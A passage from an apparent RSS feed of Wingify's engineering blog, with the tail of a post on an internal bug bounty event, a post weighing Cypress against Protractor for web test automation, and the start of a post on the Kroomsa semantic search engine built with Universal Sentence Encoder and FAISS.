&lt;li&gt;&lt;strong&gt;Speedy Fixes:&lt;/strong&gt; The dev team too was a part of the ‘hunting-party’ during the event and started fixing the issues only after the event was over and the bugs were ranked and prioritized by the panel (comprising our CEO, Head of Engineering, Head of Product Success). This helped us take a structured approach picking them in the order of priority. The image below shows the same as communicated to the team.&lt;/li&gt; &lt;/ol&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/03/BBH_Image3.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;All in all the BBH turned out to be a super-fun yet productive event with numerous other elements such as this live leader-board dashboard with hourly updates on the dedicated BBH Slack channel.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/03/BBH_Image4.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/03/BBH_Image5.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt;</content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Cypress - A worthy replacement for Protractor?]]></title><description><![CDATA[We, at Wingify, have implemented our web automation tests using Protractor. Although the old horse has served us well it is fast approaching…]]></description><link>https://engineering.wingify.com//posts/Cypress-a-worthy-replacement-for-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Cypress-a-worthy-replacement-for-protractor/</guid><pubDate>Thu, 24 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;We, at Wingify, have implemented our web automation tests using Protractor. Although the old horse has served us well it is fast approaching it&apos;s end of life. And so, the hunt for a worthy successor begins. In this article, we will talk about what we love about Cypress, the drawbacks, trade-offs, and dealbreakers(if any). &lt;/p&gt; &lt;h2 id=&quot;part1--the-honeymoon&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#part1--the-honeymoon&quot; aria-label=&quot;part1 the honeymoon permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Part1- The honeymoon!&lt;/h2&gt; &lt;p&gt;Having spent a week and a half exploring Cypress as a potential replacement to Protractor, we found a lot of things we like about it.&lt;/p&gt; &lt;h1 id=&quot;debugging-with-cypress-is-a-cakewalk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#debugging-with-cypress-is-a-cakewalk&quot; aria-label=&quot;debugging with cypress is a cakewalk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Debugging with Cypress is a cakewalk:&lt;/h1&gt; &lt;p&gt;Contrary to what we read in certain blogs, we like debugging features in Cypress. While some dislike the constraint of “no logs in Visual Studio Code”, we feel there is a lot to like in the Cypress &quot;Test Runner&quot;.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Mapping of logs and snapshots with each step of the script in test runner is easy to follow.&lt;/li&gt; &lt;li&gt;Breakpoints can be added with cy.pause() and we can continue debugging in the test runner.&lt;/li&gt; &lt;li&gt;And best of all, we can view browser console/network tabs in the test runner itself which makes debugging immensely convenient.&lt;/li&gt; &lt;li&gt;Also worth a mention - Option for recording the test runs into a video, and the fact that it can be run in &apos;headed&apos; mode even through CLI when the need arises.&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;runs-directly-on-the-browserno-web-driver&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#runs-directly-on-the-browserno-web-driver&quot; aria-label=&quot;runs directly on the browserno web driver permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Runs directly on the Browser(no web driver):&lt;/h1&gt; &lt;p&gt; This brings some unique and awesome abilities to Cypress over tools that use WebDriver.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Cypress can be used for stubbing network calls - This can enable us to test multiple scenarios without having to create test data for each test.&lt;/li&gt; &lt;li&gt;Can manipulate DOM - this gives us abilities to work around some of the &quot;trade-offs&quot; - Will talk more about this in the next article where we discuss the drawbacks of Cypress.&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;stable-tests&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#stable-tests&quot; aria-label=&quot;stable tests permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Stable Tests:&lt;/h1&gt; &lt;p&gt; There are various Cypress features that help make your test execution more stable while some help in writing cleaner code. Below are the points we observed:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Automatically waits for non-intractable elements - works mostly in case of browser loads or if the application front end has a hint for Cypress to identify such as a loader. I read in a blog that Cypress interacts with hidden elements(eg. behind an open Dropdown), but in our observation, we had to use (click({force: true}), which is more like js executor.&lt;/li&gt; &lt;li&gt;Promises are resolved automatically: fine print ahead :). Promises are handled for Cypress commands and assertions from chai/mocha. Others need to be handled programmatically. Cypress also allows you to create custom Cypress commands, and overwrite existing commands. We tried to create a custom Cypress command to getProperty using the jquery function prop(), but to our disappointment, we still had to resolve the promise :(. cy.wrap() is also worth a mention and can help in writing cleaner code. &lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;other-smaller-wins-for-cypress&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#other-smaller-wins-for-cypress&quot; aria-label=&quot;other smaller wins for cypress permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Other smaller &apos;wins&apos; for Cypress:&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;Cypress can handle iframes: As opposed to what is mentioned in some of the older blogs on the internet, newer versions of Cypress handle iframes. The plugin &apos;Cypress-iframe&apos; can be used for this purpose. However, we observed no screenshots for iframes yet in the test runner.&lt;/li&gt; &lt;li&gt;Cypress provides a blueprint of a framework to its users which is a boon for beginners.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;All in all, Cypress seems to be a robust tool, and spending just a few hours with it one can see why it is so widely accepted. Read on to the next section where we explore the limitations of the tool. And whether or not we, at Wingify, finalize it as our web automation tool.&lt;/p&gt; &lt;h2 id=&quot;part-2--the-heartbreak&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#part-2--the-heartbreak&quot; aria-label=&quot;part 2 the heartbreak permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Part-2 – The Heartbreak!&lt;/h2&gt; &lt;p&gt;Alas! Some things are just not meant to be! Some of the limitations in Cypress meant that we could not go ahead with the tool as our replacement for Protractor. Cypress official documentation lists these as ‘trade-offs’ between capability and stability.&lt;/p&gt; &lt;h1 id=&quot;cross-domain-flows&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#cross-domain-flows&quot; aria-label=&quot;cross domain flows permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Cross-Domain Flows:&lt;/h1&gt; &lt;p&gt;Cypress does not allow you to visit two domains of different origins in the same test case. Unfortunately, we have specific use cases where our scripts need to perform these kinds of tests. This turned out to be a deal-breaker for us.&lt;/p&gt; &lt;h1 id=&quot;multiple-tabs--multiple-windows&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#multiple-tabs--multiple-windows&quot; aria-label=&quot;multiple tabs multiple windows permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Multiple Tabs / Multiple Windows:&lt;/h1&gt; &lt;p&gt; As discussed earlier in this article, Cypress runs directly on the browser and hence can not support multiple windows or tabs. While some simple HTML implementations (target _blank) can be manipulated by Cypress to open in the same tab, it does not work for more complex implementations where the logic is driven by front-end code.&lt;br&gt; While there are other limitations that Cypress has, we talk about just these two as they are the deal breakers for us. If these limitations do not block any of the use cases in your case - Thats great but do take a look at the other issues here: &lt;a href=&quot;https://docs.cypress.io/guides/references/trade-offs#Permanent-trade-offs-1&quot;&gt;Cypress Trade-Offs&lt;/a&gt; before you make a final decision.&lt;/p&gt; &lt;p&gt;As our hunt for a new Automation tool continues, we now turn our gaze towards Playwright. Only time will tell if this is the tool that finally mends our broken heart :) &lt;/p&gt;</content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Kroomsa: A search engine for the curious]]></title><description><![CDATA[Introduction The search algorithm implemented in your website greatly influences visitor engagement. A decent implementation of a search…]]></description><link>https://engineering.wingify.com//posts/kroomsa-a-search-engine-for-the-curious/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/kroomsa-a-search-engine-for-the-curious/</guid><pubDate>Mon, 14 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;The search algorithm implemented in your website greatly influences visitor engagement. A decent implementation of a search algorithm can significantly reduce dependency on standard search engines like Google for every query thus, increasing engagement. Traditional methods look at terms or phrases in your query to find relevant content based on syntactic matching. Since you can use a sentence or a word in multiple contexts, this approach alone is ineffective, and the results are often a hit or a miss. At VWO, as a fun side project, we developed an algorithm that uses semantic matching to find content relevant to your query. We implemented this approach as a modern search engine, &lt;strong&gt;Kroomsa: A search engine for the curious&lt;/strong&gt;. Kroomsa engages users by exposing them to relevant yet interesting content during their session. Here is a look at &lt;a href=&quot;https://www.youtube.com/watch?v=xvgdAEEvhsA&quot;&gt;Kroomsa in action&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;current-work&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#current-work&quot; aria-label=&quot;current work permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Current Work&lt;/h2&gt; &lt;p&gt;Search engine giants like Google use algorithms that look at many factors, including the words of your query, relevance, and usability of pages, the expertise of sources, and your location and additional settings. These features are dynamically weighted, and the weight applied varies depending on the nature of your query. These algorithms are evaluated rigorously through live experimentation and coordination with external search quality raters. Our proposed approach is not as complex or meticulous as the previous work in the field, but it improves upon traditional search algorithms that solely rely on syntactic matching. We use a deep learning model to understand the intention and context of the query to match it with appropriate content. &lt;strong&gt;It enables us to map user queries to documents that do not even contain the exact phrase&lt;/strong&gt;. For example, the query &quot;working desk&quot; can match with content relevant to &quot;study table&quot;.&lt;/p&gt; &lt;h2 id=&quot;motivation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#motivation&quot; aria-label=&quot;motivation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Motivation&lt;/h2&gt; &lt;p&gt;Kroomsa as a product does not align well with what VWO currently offers. It was never intended to be a final product in its current form but is a great avenue to test the algorithm at its core, similarity search. We combined various existing techniques in literature to develop this algorithm that identifies information that is relevant to the query. We modeled a modern search engine around it to procure feedback from potentially interested customers. The goal was to package the mature version of the search algorithm as an add-on that our customers could deploy on their websites.&lt;/p&gt; &lt;h2 id=&quot;overview&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#overview&quot; aria-label=&quot;overview permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Overview&lt;/h2&gt; &lt;p&gt;Kroomsa uses similarity search at its core to provide relevant yet intriguing information to the user. The performance of any machine learning algorithm is dependent on the quality of data. So before detailing the algorithm, let us explore the dataset that we collected for Kroomsa.&lt;/p&gt; &lt;h3 id=&quot;dataset&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dataset&quot; aria-label=&quot;dataset permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Dataset&lt;/h3&gt; &lt;p&gt;Kroomsa exists to answer your questions with relevant information that you might want to know. To do so, we needed a data source with genuine questions and their appropriate answers. We chose Reddit for this purpose. We scraped a total of 7 QnA subreddits since their inception, and through heuristics, we made sure that the selected questions were valid and their answers were relevant.&lt;/p&gt; &lt;h3 id=&quot;preprocessing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preprocessing&quot; aria-label=&quot;preprocessing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preprocessing&lt;/h3&gt; &lt;p&gt;Preprocessing is essential while developing a practical machine learning approach. It helps in ensuring that irrelevant data points are filtered out. To decide the quality of a QnA pair, we employed the following heuristics:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The posted question should have enough upvotes.&lt;/li&gt; &lt;li&gt;Content should be in English.&lt;/li&gt; &lt;li&gt;Content should not violate any guidelines.&lt;/li&gt; &lt;li&gt;The top comment should have enough upvotes to be selected as the corresponding answer.&lt;/li&gt; &lt;li&gt;The post should be publicly accessible on Reddit and not deleted by any parties involved.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;vectorisation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#vectorisation&quot; aria-label=&quot;vectorisation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Vectorisation&lt;/h3&gt; &lt;p&gt;Traditional search engines use structured tables that map the content to a symbolic representation. These symbolic representations are far inferior and inflexible to the neural descriptors obtained from machine learning approaches like word2vec. We decided to use &lt;a href=&quot;https://tfhub.dev/google/universal-sentence-encoder/4&quot;&gt;Universal Sentence Encoder&lt;/a&gt; (USE) in Tensorflow to create neural representations of the posts as they cannot be used as-is. USE allows greater than length encoding of phrases into their corresponding embeddings. These embeddings capture the intent of the input phrase, thus making them a powerful tool to represent natural language.&lt;/p&gt; &lt;h3 id=&quot;similarity-search-heart-of-kroomsa&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#similarity-search-heart-of-kroomsa&quot; aria-label=&quot;similarity search heart of kroomsa permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Similarity Search: Heart of Kroomsa&lt;/h3&gt; &lt;p&gt;Similarity search refers to a class of algorithms that typically search a space of objects where the comparator is the similarity between the pairs. But to do it at scale is a challenging task. Since a search engine has to be quick in finding the relevant content and answers to the queries posted by the user, using inferior implementations can lead to a worse experience for the user. We decided to use a library called &lt;a href=&quot;https://github.com/facebookresearch/faiss&quot;&gt;FAISS&lt;/a&gt; developed by Facebook. It boasts a performance speedup of up to 8.5x the previous state-of-the-art approaches on billion scale datasets. FAISS also provides a state-of-the-art GPU implementation of the search algorithms that provide a significant speedup and improve the user experience over CPU-based approaches. Kroomsa uses a 512-dimensional Flat index created using FAISS. The index uses Euclidean distance to measure the similarity between the vector representations of different posts. After encoding each query using USE, a similarity search based on Euclidean distance executes that fetches 20 most relevant QnA pairs from the database. The answer that corresponds to the most similar QnA pair is the designated answer. And a few other pairs are shown as intriguing content that users can explore.&lt;/p&gt; &lt;h3 id=&quot;emojis-a-fun-addition&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#emojis-a-fun-addition&quot; aria-label=&quot;emojis a fun addition permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 